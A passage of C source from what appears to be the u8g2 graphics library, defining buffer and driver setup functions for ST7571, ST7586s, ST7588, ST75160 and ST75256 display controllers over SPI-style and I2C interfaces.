st7571 */ /* st7571 1 */ void u8g2_Setup_st7571_i2c_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 2 */ void u8g2_Setup_st7571_i2c_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 f */ void u8g2_Setup_st7571_i2c_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 */ /* st7571 1 */ void u8g2_Setup_st7571_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 2 */ void u8g2_Setup_st7571_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 f */ void u8g2_Setup_st7571_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 */ /* st7571 1 */ void u8g2_Setup_st7571_i2c_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 2 */ void u8g2_Setup_st7571_i2c_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 f */ void u8g2_Setup_st7571_i2c_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7586s */ /* st7586s 1 */ void u8g2_Setup_st7586s_s028hn118a_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_s028hn118a, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_48_17_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7586s 2 */ void u8g2_Setup_st7586s_s028hn118a_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_s028hn118a, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_48_17_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7586s f */ void u8g2_Setup_st7586s_s028hn118a_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_s028hn118a, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_48_17_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7586s */ /* st7586s 1 */ void u8g2_Setup_st7586s_jlx384160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_jlx384160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_48_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7586s 2 */ void u8g2_Setup_st7586s_jlx384160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_jlx384160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_48_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7586s f */ void u8g2_Setup_st7586s_jlx384160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_jlx384160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_48_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7586s */ /* st7586s 1 */ void u8g2_Setup_st7586s_erc240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_erc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_st7586s_ymc240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_ymc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7586s 2 */ void u8g2_Setup_st7586s_erc240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_erc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_st7586s_ymc240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_ymc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7586s f */ void u8g2_Setup_st7586s_erc240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_erc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_st7586s_ymc240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_ymc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7588 */ /* st7588 1 */ void u8g2_Setup_st7588_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7588 2 */ void u8g2_Setup_st7588_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7588 f */ void u8g2_Setup_st7588_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7588 */ /* st7588 1 */ void u8g2_Setup_st7588_i2c_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7588 2 */ void u8g2_Setup_st7588_i2c_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7588 f */ void u8g2_Setup_st7588_i2c_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75160 */ /* st75160 1 */ void u8g2_Setup_st75160_jm16096_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75160 2 */ void u8g2_Setup_st75160_jm16096_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75160 f */ void u8g2_Setup_st75160_jm16096_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75160 */ /* st75160 1 */ void u8g2_Setup_st75160_i2c_jm16096_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75160 2 */ void u8g2_Setup_st75160_i2c_jm16096_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75160 f */ void u8g2_Setup_st75160_i2c_jm16096_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_jlx256128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_wo256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_jlx256128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_wo256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_jlx256128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_wo256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_i2c_jlx256128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_i2c_wo256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_i2c_jlx256128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_i2c_wo256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_i2c_jlx256128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_i2c_wo256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_jlx256160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_jlx256160m_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_jlx256160_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 2 */ void u8g2_Setup_st75256_jlx256160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_jlx256160m_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_jlx256160_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 f */ void u8g2_Setup_st75256_jlx256160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_jlx256160m_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_jlx256160_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st75256 */ /* st75256 1 */ void u8g2_Setup_st75256_i2c_jlx256160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st75256_i2c_jlx256160m_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void 